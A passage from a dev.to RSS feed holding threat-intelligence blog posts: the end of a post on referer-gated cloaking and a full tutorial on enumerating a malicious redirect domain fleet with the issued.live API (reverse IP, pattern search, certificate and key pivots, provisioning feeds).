&lt;p&gt;A source gate skips all of it. The operator requires something a checker has no reason to send, and every client that fails to send it sorts itself into the harmless branch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The page never has to recognize a scanner to defeat one.&lt;/strong&gt; A better client profile or a cleaner egress changes nothing about the value the page is keyed on.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cold checkers agree with each other by design
&lt;/h2&gt;

&lt;p&gt;Most public checkers fetch cold, and a cold fetch states no source. Pointed at a source-gated page, they receive the clean branch.&lt;/p&gt;

&lt;p&gt;Their results then agree. Agreement across tools reads like confirmation while it repeats one observation several times.&lt;/p&gt;

&lt;p&gt;That shared habit correlates the answers, so agreement can grow while the evidence behind it does not.&lt;/p&gt;

&lt;h2&gt;
  
  
  Source gating is delivery discipline
&lt;/h2&gt;

&lt;p&gt;Campaigns buy specific traffic. An operator who pays for clicks from one channel wants the payload spent on that channel's visitors, and serving anyone else is cost with no return.&lt;/p&gt;

&lt;p&gt;Every copy handed out is also a copy that can be collected, submitted and written into a signature. The clean branch costs nothing to give away, so the operator hands it to everyone outside the audience it paid for.&lt;/p&gt;

&lt;p&gt;The rule lives in the campaign rather than in any one host, so replacing a domain does not require rewriting it.&lt;/p&gt;

&lt;p&gt;Reading these gates as budget control explains behavior that looks strange otherwise. A page can ignore your client fingerprint and still serve you nothing, because it is checking where you say you came from.&lt;/p&gt;

&lt;h2&gt;
  
  
  What survives the redirect chain
&lt;/h2&gt;

&lt;p&gt;A link rarely answers on the first hop. Clicks pass through tracking links, shorteners and intermediate pages before the destination replies.&lt;/p&gt;

&lt;p&gt;What the destination sees depends on what survived those hops. A stated source can be carried forward, rewritten or dropped along the way, and the hop that decides what to serve is the last one.&lt;/p&gt;

&lt;p&gt;Two checkers can disagree about the same link without either one malfunctioning. One held the context across the chain and the other lost it, so they asked the destination different questions.&lt;/p&gt;

&lt;p&gt;Our scanner can specify a source and hold it through those hops. Where that source is the one the gate is keyed on, the destination answers the way it answers the intended visitor.&lt;/p&gt;

&lt;p&gt;An analyst sets the source inside the engine, and choosing which source to try is a judgment call.&lt;/p&gt;

&lt;h2&gt;
  
  
  The verdict comes from the captured artifact
&lt;/h2&gt;

&lt;p&gt;We fetch the URL from datacenter, residential and mobile networks and keep the real response body. Classification reads what that artifact is and what it does.&lt;/p&gt;

&lt;p&gt;Counting how many engines have voted on a domain answers a different question. One domain that reputation engines rated clean served a large obfuscated payload when we fetched it, and the capture is what showed it.&lt;/p&gt;

&lt;p&gt;Keeping the body is what makes comparison possible. The same URL fetched two ways produces two artifacts, and the pair is the finding.&lt;/p&gt;

&lt;h2&gt;
  
  
  Client-type cloaking inverts the usual assumption
&lt;/h2&gt;

&lt;p&gt;Client-type cloaking is an evasion class we see and track, and reading it out of a capture is analyst work today.&lt;/p&gt;

&lt;p&gt;The familiar cloak feeds real browsers the payload and automated clients a harmless page. Some hosts run it the other way around.&lt;/p&gt;

&lt;p&gt;The file goes to an automated application client. An ordinary web browser receives a firewall block page, and a browser-based check reads that block as a dead end.&lt;/p&gt;

&lt;p&gt;The block page is part of the delivery. It answers the observer most likely to be a checker, and it answers with something that reads as safety.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where source control stops
&lt;/h2&gt;

&lt;p&gt;Source control does not tell you which source to try. A gate keyed to a value nobody guessed returns the clean page, and the space of plausible sources is large.&lt;/p&gt;

&lt;p&gt;Any client can state any source, which is what makes the gate cheap to build and cheap to stack. An operator who adds a second condition on top of the source check reopens the gap. The gain is that &lt;strong&gt;conditional delivery costs the operator more to hide&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Gates a fetch cannot open
&lt;/h3&gt;

&lt;p&gt;Some branches demand what no fetch can produce:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A valid session established by a real login.&lt;/li&gt;
&lt;li&gt;A one-time click token that has already been spent.&lt;/li&gt;
&lt;li&gt;An authenticated context tied to a specific account.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Source control does not touch that class. A payload served once per address also defeats the confirming second look, which our earlier post covers alongside the limits around session cookies and the time of day.&lt;/p&gt;

&lt;h3&gt;
  
  
  Divergence starts a human read
&lt;/h3&gt;

&lt;p&gt;Branching on traffic source is common outside abuse. Hotlink protection, anti-scraping rules, paywalls and partner licensing all decide on the same signal, so a split tells you the page branches and stays quiet about why.&lt;/p&gt;

&lt;p&gt;That limit was published with the first post on this subject and it holds unchanged on the source axis. A clean result tells you which sources we tried and when. The sources we did not try stay open.&lt;/p&gt;

&lt;p&gt;One line of that published list changes. A checker can now arrive with a source stated, and the rest of the list stands as written.&lt;/p&gt;

&lt;h2&gt;
  
  
  Checking a link against a source gate
&lt;/h2&gt;

&lt;p&gt;Against a source-gated page, a single cold fetch returns the branch the operator built for checkers. Two fetches of one URL that differ only in the source stated is the cheapest test that gate fails.&lt;/p&gt;

&lt;p&gt;A link that answers those two fetches two different ways has told you something a verdict cannot. A multi-egress scan at &lt;a href="https://whack.sh/" rel="noopener noreferrer"&gt;whack.sh&lt;/a&gt; records each fetch and the body it returned.&lt;/p&gt;

</description>
      <category>cloaking</category>
      <category>referergating</category>
      <category>conditionaldelivery</category>
      <category>trafficsource</category>
    </item>
    <item>
      <title>Mapping a whole domain fleet from one reverse IP lookup</title>
      <dc:creator>Daniel J</dc:creator>
      <pubDate>Mon, 21 Sep 2026 13:00:02 +0000</pubDate>
      <link>https://dev.to/tuxxin/mapping-a-whole-domain-fleet-from-one-reverse-ip-lookup-1enj</link>
      <guid>https://dev.to/tuxxin/mapping-a-whole-domain-fleet-from-one-reverse-ip-lookup-1enj</guid>
      <description>&lt;p&gt;One reverse IP lookup on issued.live returned 532 hostnames, effectively all first observed inside the same four-day window. The endpoint answers what else lives at an address: every hostname the resolvers have recorded answering there, each with the date that pairing was first observed. One address goes in, and a list with structure in it comes back.&lt;/p&gt;

&lt;p&gt;Addresses and hostnames below are placeholders. The calls are real, and they run against the &lt;a href="https://issued.live/developers/pro" rel="noopener noreferrer"&gt;Pro API reference&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The inverse lookup is one request
&lt;/h2&gt;

&lt;p&gt;Passive DNS tooling answers what a domain resolves to. The inverse question turns a single observation into a set, which is what moves a thread forward.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="s2"&gt;"https://issued.live/api/v1/ip/198.51.100.24?limit=500"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$ISSUED_LIVE_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key travels in the header. There is no &lt;code&gt;?key=&lt;/code&gt; parameter, because query strings land in access logs, proxy logs and &lt;code&gt;Referer&lt;/code&gt; headers. A key in the URL therefore leaves the request unauthenticated and answers 401.&lt;/p&gt;

&lt;p&gt;Each row in &lt;code&gt;hosts[]&lt;/code&gt; carries &lt;code&gt;hostname&lt;/code&gt;, &lt;code&gt;domain&lt;/code&gt; for the registrable domain, &lt;code&gt;ip&lt;/code&gt;, &lt;code&gt;first_seen&lt;/code&gt;, &lt;code&gt;last_seen&lt;/code&gt; and &lt;code&gt;observed&lt;/code&gt;. The envelope carries &lt;code&gt;query&lt;/code&gt;, &lt;code&gt;addresses&lt;/code&gt;, &lt;code&gt;count&lt;/code&gt;, &lt;code&gt;truncated&lt;/code&gt;, &lt;code&gt;limit&lt;/code&gt;, &lt;code&gt;order&lt;/code&gt;, and &lt;code&gt;next_cursor&lt;/code&gt; when another page exists.&lt;/p&gt;

&lt;p&gt;Read &lt;code&gt;truncated&lt;/code&gt; first. A limit returns up to that many rows and promises nothing about completeness. A true there means the picture in front of you is partial.&lt;/p&gt;

&lt;h2&gt;
  
  
  Enumerating an address completely is a cursor walk
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;limit&lt;/code&gt; defaults to 500 and tops out at 50000. Out-of-range values are clamped rather than refused, so a request for a million quietly returns 50000. Busy hosting addresses hold far more names than that.&lt;/p&gt;

&lt;p&gt;Past the cap, the cursor is the only correct route. Send &lt;code&gt;?after=&lt;/code&gt; with an empty value to begin, then pass back each response's &lt;code&gt;next_cursor&lt;/code&gt; until one arrives without it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="s2"&gt;"https://issued.live/api/v1/ip/198.51.100.24?after=&amp;amp;limit=50000"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$ISSUED_LIVE_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; page1.ndjson
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The ordering changes when the cursor appears. Without &lt;code&gt;after&lt;/code&gt; the page sorts by &lt;code&gt;last_seen&lt;/code&gt; descending and cannot be resumed, since a re-observed name moves between pages. With &lt;code&gt;after&lt;/code&gt; present the sort is the table's primary key, which never changes for a given observation.&lt;/p&gt;

&lt;p&gt;Four parameter names people reach for answer 400: &lt;code&gt;page&lt;/code&gt;, &lt;code&gt;offset&lt;/code&gt;, &lt;code&gt;skip&lt;/code&gt; and &lt;code&gt;cursor&lt;/code&gt;. All four were once accepted and ignored, which returned page one with a 200 however many times you asked for page four. Code written against that behavior read the same page in a loop.&lt;/p&gt;

&lt;p&gt;At a &lt;code&gt;limit&lt;/code&gt; of 5000 or above the answer streams as newline-delimited JSON, one object per line. Records always carry &lt;code&gt;hostname&lt;/code&gt; and the trailer carries &lt;code&gt;end&lt;/code&gt;, so the two are unambiguous. A stream that dies mid-flight has no trailer and no cursor, and that absence is the error signal.&lt;/p&gt;

&lt;h2&gt;
  
  
  first_seen dates the association between a name and an address
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;first_seen&lt;/code&gt; is the earliest time the resolvers saw that hostname answer with that address. It records when the name arrived at its current host. When the name was created is a separate fact, and RDAP is where that one lives.&lt;/p&gt;

&lt;p&gt;Take a domain registered years ago whose &lt;code&gt;first_seen&lt;/code&gt; at its current address is three weeks old. That is an aged name that moved recently. It behaves like a new one while carrying the reputation of an old one.&lt;/p&gt;

&lt;p&gt;The gap between the two dates is a reading, and it stays a reading. Treat a change of hands as an interpretation, and never assert who holds a name.&lt;/p&gt;

&lt;p&gt;The same field takes a server-side window, on either bound alone:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="s2"&gt;"https://issued.live/api/v1/ip/198.51.100.24?first_seen_from=2026-09-01&amp;amp;first_seen_to=2026-09-05&amp;amp;limit=5000"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$ISSUED_LIVE_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;RFC3339, &lt;code&gt;YYYY-MM-DD HH:MM:SS&lt;/code&gt;, &lt;code&gt;YYYY-MM-DD&lt;/code&gt; and unix seconds all parse, and a missing zone means UTC. A malformed or reversed window answers 400.&lt;/p&gt;

&lt;p&gt;Copy the published reasoning into your own API: "A limit is a preference, so we clamp it and answer the question you meant. A timestamp asserts which rows you want, and substituting a different window is how you end up with a gap you cannot see."&lt;/p&gt;

&lt;p&gt;These observations begin in August 2026. A window earlier than that comes back empty because nobody was looking yet. Check the window before concluding an address sat unused.&lt;/p&gt;

&lt;h2&gt;
  
  
  The hostname list has a grammar
&lt;/h2&gt;

&lt;p&gt;Co-location on shared hosting proves little by itself. The timing carried the weight in that case: names that arrive together were deployed together.&lt;/p&gt;

&lt;p&gt;The shape of the names is the second measurement. Three greps classified most of that list in a few seconds.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'select(.hostname) | .hostname'&lt;/span&gt; page1.ndjson | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; names.txt

&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-cE&lt;/span&gt; &lt;span class="s1"&gt;'(clk|clks|trk|trks|track)'&lt;/span&gt; names.txt
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-cE&lt;/span&gt; &lt;span class="s1"&gt;'[a-z]+[0-9]{2,}\.'&lt;/span&gt; names.txt
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-cE&lt;/span&gt; &lt;span class="s1"&gt;'(scrty|sec-|-secure|verify)'&lt;/span&gt; names.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Of the 532, the click and redirect abbreviations came to 163, the leetspeak variants to 15 and the security-themed lures to 37. A fourth pass over insurance and quote wording caught 27 more. One query enumerated a disposable redirect fleet, and a grep fingerprinted how it names itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A grammar returns a candidate set rather than a finding.&lt;/strong&gt; Cheap names bought in bulk look alike because one script generated them, and unrelated operators land on the same conventions.&lt;/p&gt;

&lt;p&gt;What lifts a candidate above coincidence is a second independent link. Co-tenancy on one certificate, a shared public key, an account-specific nameserver pair or a registration inside the same hour each qualify.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pattern search reaches the members on other hosts
&lt;/h2&gt;

&lt;p&gt;An address holds the members parked there on the day you looked. The rest of the family sits elsewhere, and the grammar is what reaches them.&lt;/p&gt;

&lt;p&gt;Pattern search matches a naming hypothesis against the corpus, next to the data. That is the only place it can run, because there is no wordlist and the space is combinatorial.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"https://issued.live/api/v1/search?name=[a-z]{3,8}clk.com&amp;amp;ns=ns.example-dns.net&amp;amp;limit=500"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$ISSUED_LIVE_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;-g&lt;/code&gt; earns its place. Braces and brackets are curl's own globbing syntax, so without &lt;code&gt;--globoff&lt;/code&gt; the pattern never reaches the API intact.&lt;/p&gt;

&lt;p&gt;Patterns are written forwards, the way you say the name, with &lt;code&gt;*&lt;/code&gt; for a run of characters, &lt;code&gt;?&lt;/code&gt; for exactly one, and a counted class such as &lt;code&gt;[a-z]{3,8}&lt;/code&gt;. The count is required and bounded, with a ceiling of 64. An open class like &lt;code&gt;[a-z]+&lt;/code&gt; is refused, because an open bound is how a pattern silently becomes a full scan.&lt;/p&gt;

&lt;p&gt;Every pattern must name a TLD, so &lt;code&gt;*agent&lt;/code&gt; alone is refused and &lt;code&gt;*agent.*&lt;/code&gt; means every TLD. Names are stored suffix-first, so pinning one turns the pattern into a key range. The reference measures anchored searches at 0.03 to 0.7 seconds, against 1 to 3.5 seconds for one that reads the whole key space.&lt;/p&gt;

&lt;p&gt;The response reports &lt;code&gt;anchored&lt;/code&gt; and &lt;code&gt;key_prefix&lt;/code&gt;, so you can see which case you landed in.&lt;/p&gt;

&lt;h3&gt;
  
  
  Window mode reads the registration feed by date
&lt;/h3&gt;

&lt;p&gt;Sending a time bound switches the search into window mode, which reads the registration feed by date. That is the right mode for "which names matching this grammar appeared last week". The reference measures that query at 0.094 seconds.&lt;/p&gt;

&lt;p&gt;Cursors carry no meaning between the two modes, and the wrong one answers 400 instead of silently restarting the walk.&lt;/p&gt;

&lt;p&gt;Every hit carries &lt;code&gt;ns&lt;/code&gt; and &lt;code&gt;cert_id&lt;/code&gt;, and the &lt;code&gt;ns&lt;/code&gt; filter above is what keeps a grammar from collecting coincidences.&lt;/p&gt;

&lt;h2&gt;
  
  
  Batch lookup tests 500 candidates in one call
&lt;/h2&gt;

&lt;p&gt;A search plus a key pivot produces a few hundred names. Looking them up one at a time is a few hundred requests against a concurrency gate. Batch lookup takes up to 500 in a single POST.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="s2"&gt;"https://issued.live/api/v1/domains?include=timing"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$ISSUED_LIVE_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"domains":["name-one.example","name-two.example"]}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every input gets a row back in the order you sent it, duplicates included. The reply zips against your list without normalizing anything. Rows come back &lt;code&gt;found&lt;/code&gt;, &lt;code&gt;not_found&lt;/code&gt;, or &lt;code&gt;rejected&lt;/code&gt; where the input never parsed as a registrable domain.&lt;/p&gt;

&lt;p&gt;Those last two stay separate on purpose. A batch that dropped unparseable input would let you record a domain as absent when it was never queried.&lt;/p&gt;

&lt;p&gt;Any &lt;code&gt;include&lt;/code&gt; value drops the per-request cap to 100 names, each carrying up to 10 sub-entries. Sending more names than the cap truncates to it and sets &lt;code&gt;truncated&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pivot on the certificate, then on the key
&lt;/h2&gt;

&lt;p&gt;A domain record publishes &lt;code&gt;ssl_cert&lt;/code&gt;, the 32-hex &lt;code&gt;cert_id&lt;/code&gt;, and that value is the bridge into the certificate endpoints.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="s2"&gt;"https://issued.live/api/v1/cert/&lt;/span&gt;&lt;span class="nv"&gt;$CERT_ID&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$ISSUED_LIVE_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="s2"&gt;"https://issued.live/api/v1/spki/&lt;/span&gt;&lt;span class="nv"&gt;$SPKI_SHA256&lt;/span&gt;&lt;span class="s2"&gt;?limit=500"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$ISSUED_LIVE_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;sans&lt;/code&gt; array lists the names a certificate covers, which is a link that survives a reverse proxy. &lt;code&gt;spki_sha256&lt;/code&gt; is a hash over the SubjectPublicKeyInfo, so two certificates carrying the same value were issued for one key pair. Often that is a renewal, and sometimes it is one operator across names that share nothing else.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Link&lt;/th&gt;
&lt;th&gt;Strength&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;Shared address&lt;/td&gt;
&lt;td&gt;Weak alone&lt;/td&gt;
&lt;td&gt;A CDN address fronts unrelated tenants at scale, so co-location proves shared hosting.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Shared nameservers&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;Strong when the pair is account-specific, weak when it is a large provider's default.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Shared certificate&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;Names packed onto one certificate were issued together, by one party, for one deployment.&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Shared key&lt;/td&gt;
&lt;td&gt;Strongest&lt;/td&gt;
&lt;td&gt;One key pair across certificates means one holder of one private key.&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Read the &lt;code&gt;coverage&lt;/code&gt; field on every key pivot before drawing a conclusion. Key hashes were first recorded on September 7, 2026, and certificates ingested earlier cannot be matched on one. A thin result from an older pivot therefore reads as unknown.&lt;/p&gt;

&lt;p&gt;Certificate detail stays queryable for 14 days and then lives on in the archived daily files. A 404 for an older id reports that horizon and says nothing about whether the certificate existed.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ja4x&lt;/code&gt; fingerprints the issuance software a certificate authority runs. issued.live reports the value and offers no pivot on it. The value space is small enough that a match would return a large share of one CA's output.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the range sweep is the wrong instrument
&lt;/h2&gt;

&lt;p&gt;Reverse IP has a sibling that takes a CIDR. Write the prefix slash as a hyphen, since a literal slash is a path separator and will not route.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="s2"&gt;"https://issued.live/api/v1/range/198.51.100.0-24"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$ISSUED_LIVE_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A range covers at most 256 addresses, an IPv4 /24, and anything wider answers 400. On shared cloud space the surrounding /24 belongs to unrelated tenants. A sweep there returns hundreds of neighbors with nothing to do with your thread.&lt;/p&gt;

&lt;p&gt;On dedicated hosting that trade-off inverts, and the /24 becomes the fastest way to see a whole rented block. Sweeping anything larger means iterating a /24 at a time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Concurrency is the limit that bites
&lt;/h2&gt;

&lt;p&gt;The per-minute ceiling rarely stops this work. Advanced queries are bounded by how many run at once on one key: one on Plus, two on Pro.&lt;/p&gt;

&lt;p&gt;Reverse IP, range, pattern search, batch lookup and the provisioning feed each take a slot. Certificate, key, domain and timeline lookups take none.&lt;/p&gt;

&lt;p&gt;Over the gate a request waits up to five seconds for a slot, then returns &lt;code&gt;503 timeout&lt;/code&gt;. It never queues, so a pile-up of slow queries cannot form. Branch on the &lt;code&gt;retryable&lt;/code&gt; field and &lt;code&gt;Retry-After&lt;/code&gt; rather than on the status number.&lt;/p&gt;

&lt;p&gt;The timeout status stays 503 by design. This origin sits behind a CDN that replaces a 504 with its own error page, stripped of the JSON body.&lt;/p&gt;

&lt;p&gt;Serialize a multi-block walk. The gate admits two at a time on Pro anyway, and concurrent cold range queries make each other slower.&lt;/p&gt;

&lt;h2&gt;
  
  
  The feeds keep the map current
&lt;/h2&gt;

&lt;p&gt;A fleet enumerated on Tuesday is a snapshot. Two cursor-paged feeds turn a finished investigation into a standing one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="s2"&gt;"https://issued.live/api/v1/provisioning?max_hours_to_cert=6&amp;amp;ns=ns.example-dns.net"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$ISSUED_LIVE_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="s2"&gt;"https://issued.live/api/v1/nrd?certified=1&amp;amp;max_hours_to_cert=1&amp;amp;limit=500"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$ISSUED_LIVE_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The provisioning feed returns domains registered, certificated and pointed at a host inside one window. Any one of those facts is ordinary. All three inside an afternoon is a domain being stood up to be used.&lt;/p&gt;

&lt;p&gt;The hours-to-certificate bound is what keeps that query affordable. On the reference's own measurements, widening it from one hour to six multiplies the candidates in a 72-hour window by roughly 19. Widening it again to 24 hours multiplies them by another 10.&lt;/p&gt;

&lt;p&gt;Recent windows are thin by construction, and the response says so. Published coverage figures: 36.9% of candidates carry a DNS observation inside 24 hours, 83.9% inside 72 hours and 96.1% inside a week.&lt;/p&gt;

&lt;p&gt;Rows without one are marked &lt;code&gt;not_yet_observed&lt;/code&gt;, which records an observation nobody has made yet. It says nothing about whether the name resolves.&lt;/p&gt;

&lt;p&gt;The newly registered domains feed runs in ascending time order from a cursor. A consumer resumes exactly where it stopped, so a scheduled job can miss a run without losing an event. Store &lt;code&gt;next_cursor&lt;/code&gt; on every page, including the ones where &lt;code&gt;caught_up&lt;/code&gt; comes back true.&lt;/p&gt;

&lt;p&gt;Sub-hour certification runs at about 1.1% of certified registrations, against 8.4% taking over a week. The tight end of that filter is a small set. &lt;code&gt;max_hours_to_cert&lt;/code&gt; requires &lt;code&gt;certified=1&lt;/code&gt;, and sending it alone answers 400 instead of quietly doing nothing.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the plans cover
&lt;/h2&gt;

&lt;p&gt;issued.live opened paid plans on September 19, 2026, three of them. Pattern search, batch lookup and both feeds belong to Pro at $199 a month. Pro also carries 1,200 requests a minute, two advanced queries in flight, and daily files for DNS by vantage point, certificates and address history.&lt;/p&gt;

&lt;p&gt;The earlier steps sit lower. Reverse IP, the CIDR sweep, the pivots and the domain timeline by API run on Plus at $99 a month, with one query in flight. Basic at $39 takes the daily domain and DNS files plus the extended record and the domain timeline on the website.&lt;/p&gt;

&lt;p&gt;Unkeyed access stays free at 1,000 requests a day per address. Billing is monthly through PayPal, and sign-in is a code sent to your email. Full &lt;a href="https://issued.live/pricing" rel="noopener noreferrer"&gt;plan and limit detail sits on the pricing page&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Methodology
&lt;/h2&gt;

&lt;p&gt;Every endpoint, parameter, cap and error code above was checked on September 18, 2026 against the issued.live Pro API reference, last updated September 15, 2026. Plan boundaries come from the pricing page on the same date, and the performance and coverage percentages are that site's published measurements. The 532-hostname classification comes from Tuxxin investigation work, and &lt;a href="https://tuxxin.com/founder" rel="noopener noreferrer"&gt;Daniel Jones&lt;/a&gt; reviewed the post before publication.&lt;/p&gt;

</description>
      <category>reverseiplookup</category>
      <category>passivedns</category>
      <category>certificatetransparency</category>
      <category>threatintelligence</category>
    </item>
    <item>
      <title>issued.live paid plans are open: Basic $39, Plus $99, Pro $199</title>
      <dc:creator>Daniel J</dc:creator>
      <pubDate>Sat, 19 Sep 2026 13:00:02 +0000</pubDate>
      <link>https://dev.to/tuxxin/issuedlive-paid-plans-are-open-basic-39-plus-99-pro-199-3al0</link>
      <guid>https://dev.to/tuxxin/issuedlive-paid-plans-are-open-basic-39-plus-99-pro-199-3al0</guid>
